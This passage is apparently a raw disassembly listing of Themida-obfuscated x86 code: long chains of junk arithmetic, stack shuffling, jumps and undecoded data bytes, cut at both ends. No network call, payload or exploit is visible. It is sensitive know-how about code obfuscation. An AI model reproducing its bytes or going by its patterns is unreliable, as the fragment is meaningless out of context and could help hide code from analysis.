		mov	ebx, 46E84BD8h
		mov	eax, 0FD5AED47h
		jmp	loc_5177CC
; ---------------------------------------------------------------------------

loc_51B5AA:				; CODE XREF: Themida_:0051C39Aj
		push	edi
		mov	edi, esp
		jmp	loc_51597D
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 56ECE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51B5BE:				; CODE XREF: Themida_:00514CF3j
		add	edi, edx
		add	edi, 34C53EF5h
		pop	edx
		mov	ebx, 25594D2Ch
		add	ebx, edi
		pop	edi
		inc	ebx
		push	edx
		mov	edx, 0D6B3E4B6h
		add	ebx, edx
		pop	edx
		jmp	loc_515DA3
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 38E4B924h, 0CF89334Dh, 592434FFh, 4C481h, 27E90000h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51B5F7:				; CODE XREF: Themida_:0051E7ECj
		push	27Ah
		mov	[esp], esi
		jmp	loc_52144F
; ---------------------------------------------------------------------------
		dd 8105EBC1h, 4ECh, 24148900h, 42DADEBAh, 5AD329D9h, 88E9DE89h
		dd 8900003Fh, 0F7E9243Ch, 0B600008Dh, 5AF00066h, 0B050535Ah
		dd 7703E9E4h, 483FFFFh,	34FF0424h, 0E9E95F24h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51B643:				; CODE XREF: Themida_:0051AD62j
		mov	ah, 0BAh
		jmp	loc_511454
; ---------------------------------------------------------------------------

loc_51B64A:				; CODE XREF: Themida_:005170DBj
		sub	eax, ecx
		jmp	loc_51DB13
; ---------------------------------------------------------------------------
		db 21h,	0CEh, 8Bh
		dd 0C481240Ch, 4, 0FF520CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B661:				; CODE XREF: Themida_:0051304Ej
		and	ebp, 4AC66D6Bh
		neg	ebp
		jmp	loc_51EB8E
; ---------------------------------------------------------------------------
		dw 0CDBEh
		dd 15F5D16h, 7EAFE9DEh,	0BA52FFFFh, 62B84224h, 4CB4F281h
		dd 0C14223BFh, 0F28102E2h, 0C9C733D7h, 295AD329h, 48E95BDEh
		dd 81FFFF9Ah, 0F9526FC7h, 0FB215B2Ch, 907AE9h
		db 0
; ---------------------------------------------------------------------------

loc_51B6A9:				; CODE XREF: Themida_:00522CB5j
		mov	eax, 4
		sub	edi, 5B375B16h
		jmp	loc_516727
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 13F2E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51B6C2:				; CODE XREF: Themida_:0051FB58j
		sub	[esp+8], eax
		pop	eax
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_514876
; ---------------------------------------------------------------------------

loc_51B6E3:				; CODE XREF: Themida_:00510130j
		add	ecx, 51015B40h
		push	eax
		push	ebx
		mov	ebx, 39E2608Ch
		jmp	loc_5238ED
; ---------------------------------------------------------------------------

loc_51B6F5:				; CODE XREF: Themida_:00511943j
		shl	eax, 3
		not	eax
		xor	eax, 0EDD3FFFBh
		add	ebx, eax
		jmp	loc_5127B2
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0F301E924h, 0F000FFFFh, 4EC81h, 0C890000h, 0E90EB524h
		dd 9529h
; ---------------------------------------------------------------------------

loc_51B720:				; CODE XREF: Themida_:00513FD0j
		pop	esi
		jmp	loc_51F759
; ---------------------------------------------------------------------------

loc_51B726:				; CODE XREF: Themida_:0050FBD3j
		mov	esp, [esp]
		pop	edx
		push	14D3h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5159EE
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFDEB4E9h, 0E6685EFFh, 0E9000036h, 30AAh, 8FF7E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51B75E:				; CODE XREF: Themida_:0051B9DCj
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 28A61383h
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		neg	ebp
		push	edx
		push	ebp
		pop	edx
		pop	ebp
		jmp	loc_518D0E
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5934h, 68242C89h,	4419h, 4EC81h, 24890000h
		dd 4685324h, 5B000000h,	4245C01h, 24048F5Bh, 7EE95057h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51B7BF:				; CODE XREF: Themida_:0051204Ej
		push	eax
		jmp	loc_5204C1
; ---------------------------------------------------------------------------

loc_51B7C5:				; CODE XREF: Themida_:0051E0AEj
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		jmp	loc_515143
; ---------------------------------------------------------------------------

loc_51B7CE:				; CODE XREF: Themida_:0051344Cj
		add	esi, 56353126h
		jmp	loc_51CEA7
; ---------------------------------------------------------------------------

loc_51B7D9:				; CODE XREF: Themida_:00523F4Cj
		add	eax, 59324F98h
		jmp	loc_516E0C
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 26E5h, 89241489h,	19EA68E2h, 34890000h, 0E346E924h
		dd 10B6FFFFh, 0F615B252h, 0FBCA80DAh, 0FFE374E9h, 11EE81FFh
		dd 81019C67h, 297F8CEEh, 59E9503Dh, 50FFFFA5h, 0C005E2B8h
		dd 8C1E050Ah, 0FFE99D32h, 89FFFFCFh, 36B1240Ch,	0E909F180h
		dd 0FFFF4C57h
; ---------------------------------------------------------------------------

loc_51B83C:				; CODE XREF: Themida_:0051AAA6j
		dec	edx
		jmp	loc_511EED
; ---------------------------------------------------------------------------

loc_51B842:				; CODE XREF: Themida_:0051DBF0j
		mov	edi, [esp]
		add	esp, 4
		push	7805h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_51F5F6
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C2404FEh, 0FF3EA7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B865:				; CODE XREF: Themida_:00512147j
		push	dword ptr [esp]
		jmp	loc_51E2E5
; ---------------------------------------------------------------------------

loc_51B86D:				; CODE XREF: Themida_:0051977Aj
		sub	esi, ebx
		jmp	loc_5215CA
; ---------------------------------------------------------------------------
		dd 0B5E912B7h, 8100000Eh, 4C4h,	4EA8300h, 5C241487h, 51241489h
		dd 8A3093B9h, 59CA8979h, 0CF6FC281h, 0C6818675h, 66976E53h
		dd 3084E9h
		db 0
; ---------------------------------------------------------------------------

loc_51B8A5:				; CODE XREF: Themida_:005152C6j
		mov	[esp], esp
		jmp	loc_514BD3
; ---------------------------------------------------------------------------

loc_51B8AD:				; CODE XREF: Themida_:00515C30j
		push	eax
		push	esp
		pop	eax
		jmp	loc_516CFA
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 669FE9h, 2FE9BD00h, 0E5C16542h, 0B6B85003h, 3579EF24h
		dd 0AC01A40Ah, 158C501h, 89525DEEh, 6805E9E2h, 0E380FFFFh
		dd 1EB8038h, 5166DBF6h,	0CB3011B1h, 8D53E9h, 51E58900h
		dd 0FF986CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B8F9:				; CODE XREF: Themida_:005163ADj
		add	ebx, edi
		jmp	loc_51E949
; ---------------------------------------------------------------------------

loc_51B900:				; CODE XREF: Themida_:0051E411j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_52196D
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7C130CB0h, 0E943DBF7h, 0FFFFB376h
; ---------------------------------------------------------------------------

loc_51B920:				; CODE XREF: Themida_:005111BBj
		sub	ecx, 1C68586Fh
		push	edi
		mov	edi, ecx
		mov	edx, edi
		pop	edi
		jmp	loc_51DEFD
; ---------------------------------------------------------------------------

loc_51B931:				; CODE XREF: Themida_:0051D785j
		pop	esp
		jmp	loc_5152A9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 0FF50B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B945:				; CODE XREF: Themida_:00520879j
		not	eax
		xchg	eax, esi
		sub	esi, 0D65E4E4Dh
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		jmp	loc_522EDA
; ---------------------------------------------------------------------------

loc_51B95F:				; CODE XREF: Themida_:0051002Dj
		sub	eax, edx
		push	ebp
		jmp	loc_51BB45
; ---------------------------------------------------------------------------
		db 48h
		dd 0FFCF85E9h, 24148BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 39D2113Fh
		shr	eax, 4
		jmp	loc_51A3BE
; ---------------------------------------------------------------------------
		db 87h
		dd 2BE92434h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51B98F:				; CODE XREF: Themida_:0051622Cj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	dword ptr [edi+20h], 1140712h
		dec	dword ptr [edi+20h]
		sub	dword ptr [edi+20h], 16A034ACh
		not	dword ptr [edi+20h]
		push	ebx
		push	edi
		mov	edi, 3B824EFFh
		mov	ebx, 3B824F1Fh
		sub	ebx, 3F4672ECh
		sub	ebx, edi
		jmp	loc_51E7C0
; ---------------------------------------------------------------------------

loc_51B9CB:				; CODE XREF: Themida_:00520AB0j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_51B75E
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 92h
		dd 17B2E51h, 92EA81C2h,	8B7B2E51h, 0C4812404h, 4, 4B850h
		dd 0C2010000h, 24143358h, 33241431h, 248B2414h,	4EC8324h
		dd 81242C89h, 4ECh, 24248900h, 4B951h, 6C810000h, 32040424h
		dd 4C0156D4h, 44810424h, 32040424h, 5D5956D4h, 4C581h
		dd 0BE560000h, 3A15232Bh, 30C68146h, 0E949E446h, 0FFFFB5A5h
		dd 0FF24248Bh, 29E92434h, 0FFFFFFC6h, 0E9582434h, 7011h
		dd 4ED81h, 2C870000h, 24248B24h, 68240C89h, 3276h, 81240489h
		dd 4ECh, 240C8900h, 0FDBE5650h,	0B8779F37h, 0C94DB558h
		dd 0B95EF029h, 0E918B11Ah, 1C55E9h, 24148900h, 4EC81h
		dd 4890000h, 380B6824h,	48B156Fh, 4C48124h, 0D000000h
		dd 3381590Bh, 0EF79072Dh, 0B7E95037h, 0B8FFFF76h, 984650DDh
		dd 8958C529h, 0F60AE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BAD6:				; CODE XREF: Themida_:0051AE00j
		sub	esp, 4
		push	esp
		jmp	loc_512987
; ---------------------------------------------------------------------------

loc_51BAE2:				; CODE XREF: Themida_:00514CCFj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 4C5815Ch, 83000000h,	3C8904ECh, 0B46BF24h, 0CDE9407Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51BB0B:				; CODE XREF: Themida_:0051E627j
		sub	bl, 0D9h
		add	bl, 0F7h
		jmp	loc_511E55
; ---------------------------------------------------------------------------

loc_51BB16:				; CODE XREF: Themida_:00523ACBj
		add	edx, 0F31949BCh
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1C49h
		jmp	loc_5107DA
; ---------------------------------------------------------------------------
		dd 3EDEC781h, 0DF01289Bh, 5F9DE9h
		db 0
; ---------------------------------------------------------------------------

loc_51BB45:				; CODE XREF: Themida_:0051B962j
		mov	ebp, 643B0303h
		xor	ebp, 16344A5Ah
		sub	eax, ebp
		pop	ebp
		pop	edx
		jmp	loc_524C7C
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 8B243C87h, 11E92424h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51BB67:				; CODE XREF: Themida_:005140E0j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	2B7Dh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	ebx
		mov	ebx, 6ED0287h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 6ED0283h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	663h
		mov	[esp], ebp
		jmp	loc_51FDA4
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 0E95C2404h, 0FFFF3B5Ch, 0CB30E956h, 0D224FFFFh, 0D0F6C8FEh
		dd 5A34012Ch, 6658C588h, 98B35352h, 88D98851h, 240C8BCEh
		dd 0FF49ACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51BBD5:				; CODE XREF: Themida_:0051582Aj
		mov	ebx, 45DA073Ch
		jmp	loc_516AE4
; ---------------------------------------------------------------------------
		db 29h
		dd 506859CBh, 89000010h, 0EBD242Ch, 0E954547Eh,	0FFFFE7B1h
		dd 8107E2C1h, 405A3AF2h, 76EA8177h, 31C404EFh, 240C8BCAh
		dd 4EC81h, 3C890000h, 5F66E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BC16:				; CODE XREF: Themida_:0052424Bj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5109B8
; ---------------------------------------------------------------------------
		db 0BBh
		dd 38h,	1099E9h
		db 0
; ---------------------------------------------------------------------------

loc_51BC29:				; CODE XREF: Themida_:00515DB8j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50FC8F
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 5F1h, 51ECC781h, 0EF013A8Ch,	51ECEF81h, 0AAE93A8Ch
		dd 53FFFFD5h, 0B850E389h, 757058AEh, 0F748D8F7h, 20D935D0h
		dd 0E9402C83h, 0FFFF5C87h
; ---------------------------------------------------------------------------

loc_51BC70:				; CODE XREF: Themida_:00523CC3j
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_51E50D
; ---------------------------------------------------------------------------

loc_51BC9A:				; CODE XREF: Themida_:0051350Dj
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 60AE60BBh
		sub	eax, 489F3DFEh
		sub	eax, 131EA692h
		not	eax
		add	eax, 776DC07Fh
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7CF56894h
		mov	edx, 3E3F6D25h
		xor	edx, esi
		pop	esi
		add	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 4C46D08h
		jmp	loc_51BE72
; ---------------------------------------------------------------------------

loc_51BCDE:				; CODE XREF: Themida_:0051437Fj
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_519166
; ---------------------------------------------------------------------------

loc_51BCF1:				; CODE XREF: Themida_:0051E7C6j
		add	ebx, eax
		jmp	loc_51CA34
; ---------------------------------------------------------------------------
		dd 0E98734FFh, 5D67h, 52C1685Ch, 4890000h, 40478F24h, 582434FFh
		dd 712168h, 24348900h, 0FF9761E9h, 240C89FFh, 0BCE3E953h
		dd 5450FFFFh, 8124048Bh, 4C4h, 40500h, 4050000h, 87000000h
		dd 0E95C2404h, 0FFFF9F4Ch, 6C80E959h, 0A2680000h, 0E9000008h
		dd 83C9h
; ---------------------------------------------------------------------------

loc_51BD54:				; CODE XREF: Themida_:00512604j
		dec	ecx
		dec	ecx
		sub	ecx, 378A4727h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_51A161
; ---------------------------------------------------------------------------

loc_51BD71:				; CODE XREF: Themida_:00517CCDj
		add	ecx, ebx
		push	ebx
		push	eax
		mov	eax, 295311DDh
		jmp	loc_522C18
; ---------------------------------------------------------------------------

loc_51BD7F:				; CODE XREF: Themida_:0051C8BBj
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ecx
		jmp	loc_52212E
; ---------------------------------------------------------------------------

loc_51BD8E:				; CODE XREF: Themida_:0051DC66j
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		jmp	loc_50FBBF
; ---------------------------------------------------------------------------
aSB		db ']é¼',0
		align 10h

loc_51BDA0:				; CODE XREF: Themida_:0050FC4Cj
		push	edi
		jmp	loc_51085E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF395BE9h, 4E7C1FFh, 39CEE951h, 0C6830000h, 24348704h
		dd 82C9E9h
		db 0
; ---------------------------------------------------------------------------

loc_51BDC5:				; CODE XREF: Themida_:00520CEBj
		push	eax
		push	6BB3DFBh
		pop	eax
		shl	eax, 5
		xchg	eax, esi
		jmp	loc_521AC1
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 81h
		dd 4ECh, 242C8900h, 55C2E9h, 5BDE0900h,	698268h, 241C8900h
		dd 36F0E9h, 0FFEE8100h,	46FFFFFFh, 0EC4BF57h, 0FE294A33h
		dd 8BF0215Fh, 0C4832434h, 35BB5304h, 0E95AB059h, 118Ch
		dd 1C75FB2Dh, 546DE962h, 0C380FFFFh, 391868F4h,	0C890000h
		dd 3A4C6824h, 97E90000h, 66000034h, 5324048Bh, 0BA52E389h
		dd 11215BCBh, 8104E2C1h, 0BB1BCFE2h, 0F7FA8735h, 4576E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BE56:				; CODE XREF: Themida_:00519CA0j
		sub	edx, 42BD3C7Eh
		jmp	loc_5137EC
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 34686600h, 4896638h,	389AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BE72:				; CODE XREF: Themida_:0051BCD9j
		add	ebx, 3FE2BFBCh
		add	eax, ebx
		jmp	loc_519A32
; ---------------------------------------------------------------------------
aIBsA		db '‰ê]Bé#a',0
		align 4
		dd 4703E7C1h, 7F06C781h, 0F7812338h, 119C9B0Eh,	295FFA01h
		dd 0B9EA81EAh, 5D0F5966h, 0FF8FF5E9h, 241CF6FFh, 385AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BEB2:				; CODE XREF: Themida_:005212ACj
		shl	ah, 7
		xor	ah, 0D8h
		add	bl, ah
		pop	eax
		pop	edx
		push	edx
		mov	dl, 14h
		shl	dl, 2
		push	186h
		mov	[esp], ecx
		push	ebx
		jmp	loc_520FC4
; ---------------------------------------------------------------------------
		dd 9C2404D2h, 0FF3833E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51BED9:				; CODE XREF: Themida_:00518A6Ej
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 41457439h
		or	eax, 4F9840DDh
		jmp	loc_5118EF
; ---------------------------------------------------------------------------
		db 0B2h, 9Dh, 88h
		dd 10E95AD1h, 8BFFFFF2h, 0C481241Ch, 4,	177E9h,	44E28100h
		dd 50148314h, 7FF00468h, 0A6CFE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BF1E:				; CODE XREF: Themida_:0051EEB8j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	170Fh
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5226CB
; ---------------------------------------------------------------------------
		db 1
		dd 0C38358C3h, 241C8704h, 0E389535Ch, 4C381h, 0C3830000h
		dd 0D7B5E904h, 0E2C1FFFFh, 0EBEA8104h, 0E937AC1Eh, 0FFFFDF76h
; ---------------------------------------------------------------------------

loc_51BF60:				; CODE XREF: Themida_:00521312j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_512D1A
; ---------------------------------------------------------------------------
		db 59h
		dd 0E800C781h, 0FB019031h, 4C3835Fh, 0E9241C87h, 2AC2h
		dd 0E04AA1BAh, 81DAF73Dh, 0D56DF5E2h, 51EA8179h, 0E9401525h
		dd 3637h, 2434FF59h, 0BF6EE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51BFB2:				; CODE XREF: Themida_:0051CA43j
		push	edx
		jmp	loc_513597
; ---------------------------------------------------------------------------

loc_51BFB8:				; CODE XREF: Themida_:0051C537j
		mov	esi, 4
		mov	edx, esi
		pop	esi
		jmp	loc_51F4AA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 0FF4040E9h, 2434FFFFh, 0F9CE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51BFDA:				; CODE XREF: Themida_:00521BA7j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_51BFDF:				; CODE XREF: Themida_:00519A14j
		push	56F0h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2D6C7DFAh
		inc	edx
		dec	edx
		push	ebx
		push	ecx
		push	6FA14E80h
		pop	ecx
		xchg	edi, ecx
		jmp	loc_50FC48
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 5C243C87h, 0E924048Fh, 0FFFF4AEAh
; ---------------------------------------------------------------------------

loc_51C020:				; CODE XREF: Themida_:0051378Aj
		xor	esi, [esp]
		jmp	loc_510A7C
; ---------------------------------------------------------------------------

loc_51C028:				; CODE XREF: Themida_:00510056j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_521203
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Ah, 8704EB83h,	248B241Ch, 24048924h, 68555854h
		dd 13565638h, 83242C8Bh, 0E5D104C4h, 1CFFF581h,	0A4E957F6h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C063:				; CODE XREF: Themida_:0051828Aj
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_522D4F
; ---------------------------------------------------------------------------
		db 5Dh,	1, 44h
		dd 8B580424h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51224C
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0B6241489h, 0D1E9519Ah, 0FFFFFF4Bh, 50582434h
		dd 4055854h, 0E9000000h, 2B8Ah,	8303EAC1h, 0EA8101C2h
		dd 2B736025h, 0FFFB3FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51C0B5:				; CODE XREF: Themida_:00524BDEj
		pop	ebx
		jmp	loc_511598
; ---------------------------------------------------------------------------
		db 55h
		dd 7E53B2BDh, 0C8AFE97Fh, 0C201FFFFh, 0D7015858h, 6824148Bh
		dd 9F2h, 89241489h, 4C281E2h, 83000000h, 0F6E904C2h, 0FFFFFFECh
		dd 83592434h, 0D7F604C4h, 0E907E7C0h, 0FFFFC5A1h
; ---------------------------------------------------------------------------

loc_51C0F8:				; CODE XREF: Themida_:00517DB7j
		push	ebp
		sub	dword ptr [esp], 19D1495h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 19D1495h
		pop	ebp
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 35666CA2h
		jmp	loc_5212C5
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 1C8904ECh, 39F66824h, 24890000h, 24048124h
		dd 4, 83241C8Bh, 3C8904ECh, 81E78924h, 4C7h, 4C78300h
		dd 31243C33h, 3C33243Ch, 50515C24h, 0FFD41FE9h,	116866FFh
		dd 3A65E90Dh, 0C4810000h, 4, 0FF4441E9h, 0B6C781FFh, 2904DB5Ah
		dd 1479E9F7h, 248B0000h, 88DEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C18A:				; CODE XREF: Themida_:005113EAj
		mov	ebx, [esp]
		add	esp, 4
		push	7619h
		jmp	loc_515096
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 1C046806h, 0EB81D301h, 1C046806h, 2F43EB81h,	0C3810FFFh
		dd 1BC3BABh, 8124148Bh,	4C4h, 0D8F79300h, 1BF5793h, 81527D30h
		dd 0D07C57CFh, 4E7C172h, 9C0BE56h, 0E68173A0h, 690D2121h
		dd 7AF3C681h, 0E94E1DC0h, 1376h, 5C243C87h, 34FFE831h
		dd 0B941E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C1F6:				; CODE XREF: Themida_:0051214Dj
		mov	ebp, 200h
		jmp	loc_516D77
; ---------------------------------------------------------------------------
		dd 68240C89h, 4, 3AFAE9h, 0B8505900h, 4, 0FFC97EE9h, 0F4EB80FFh
		dd 8B83C380h, 0C483240Ch, 8DEB8004h, 80BAB551h,	0EB2854C3h
		dd 0FFC60BE9h, 0ABB53FFh, 4324132Ah, 6563BF57h,	0E7C11479h
		dd 47D7F702h, 66F1EF81h, 0FB01C5E0h, 5BD8015Fh,	6E0FE9h
		dd 4C78100h, 83000000h,	3C8704EFh, 1C895C24h, 598DBB24h
		dd 0E1E95AFCh, 5900002Ah, 25E9F001h, 53FFFFD7h,	0BBh, 87FB2900h
		dd 0F7815BDFh, 64355696h, 0E906E7C1h, 0FFFFAF6Ch
; ---------------------------------------------------------------------------

loc_51C294:				; CODE XREF: Themida_:00513457j
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_520BE9
; ---------------------------------------------------------------------------

loc_51C2A7:				; CODE XREF: Themida_:005169E6j
		or	ebp, 3170639Ah
		xor	ebp, 440C7A0Ah
		mov	ebx, ebp
		pop	ebp
		sub	edi, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_51D5AE
; ---------------------------------------------------------------------------
		db 2Dh
		dd 76AE53F4h, 0F405D801h, 2D76AE53h, 757A2CFEh,	6A711405h
		dd 7DFDE92Ah, 4401FFFFh, 7AE90824h, 0FF000025h,	0E9042474h
		dd 0FFFF524Fh, 68E3C181h, 685D7441h, 381Fh, 0E9241489h
		dd 2563h
; ---------------------------------------------------------------------------

loc_51C314:				; CODE XREF: Themida_:0051A3C7j
		xchg	ebp, [esp]
		jmp	loc_520FFD
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0A0B804C4h, 315F1321h, 44295FF8h,	48B0424h
		dd 8FE95724h, 0ADFFFFB1h, 4468D831h, 89000047h,	0BAE9243Ch
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51C347:				; CODE XREF: Themida_:00516699j
		mov	[esp], ebp
		push	39FFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_50FE11
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 2C58158h, 87000000h,	34E9242Ch, 89FFFFDBh, 76E92414h
		dd 87FFFF35h, 30E9243Ch, 8FFFFFD4h, 41E92404h, 50FFFFC8h
		dd 0E604E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C38E:				; CODE XREF: Themida_:00523E95j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51B5AA
; ---------------------------------------------------------------------------
		db 59h
		dd 3832E951h, 0BA52FFFFh, 7EC8418Eh, 0FEE9D329h, 89000047h
		dd 0B450241Ch, 58E388B4h, 0F602EBC0h, 2EBC0D3h,	33F26852h
		dd 0C890000h, 88A6B524h, 2434FFEAh, 4C48159h, 0E9000000h
		dd 0FFFFD8CFh, 57243489h, 0FFFFFFBFh, 5FFE89FFh, 0FFE9FEE9h
		dd 5BDD01FFh, 4DCEE9h, 0EFEF8100h, 810C2557h, 476FE6F7h
		dd 5FFB3103h, 676CC181h, 0D9010D8Eh, 676CE981h,	0E95B0D8Eh
		dd 0FFFF8226h, 43E9F901h, 68000031h, 7AF9h, 2CA8E9h, 4316600h
		dd 0D5E99C24h, 5BFFFF32h, 59D2EA81h, 0DA013350h, 59D2C281h
		dd 0E95B3350h, 860Ch, 486EC181h, 0C8290A0Bh, 0FFFB4FE9h
		dd 57555CFFh, 3227FDBFh, 81D7F76Dh, 271B86EFh, 33E94769h
		dd 5B000042h, 0FF3EA0E9h, 240489FFh, 1508BA52h,	0E9520339h
		dd 7EBAh
; ---------------------------------------------------------------------------

loc_51C484:				; CODE XREF: Themida_:00513319j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_523CDB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95B2434h, 1441h
; ---------------------------------------------------------------------------

loc_51C4A4:				; CODE XREF: Themida_:0051611Bj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		pop	ebp
		pop	edi
		not	edi
		xchg	edi, ebp
		push	eax
		push	7CB6h
		mov	[esp], ebp
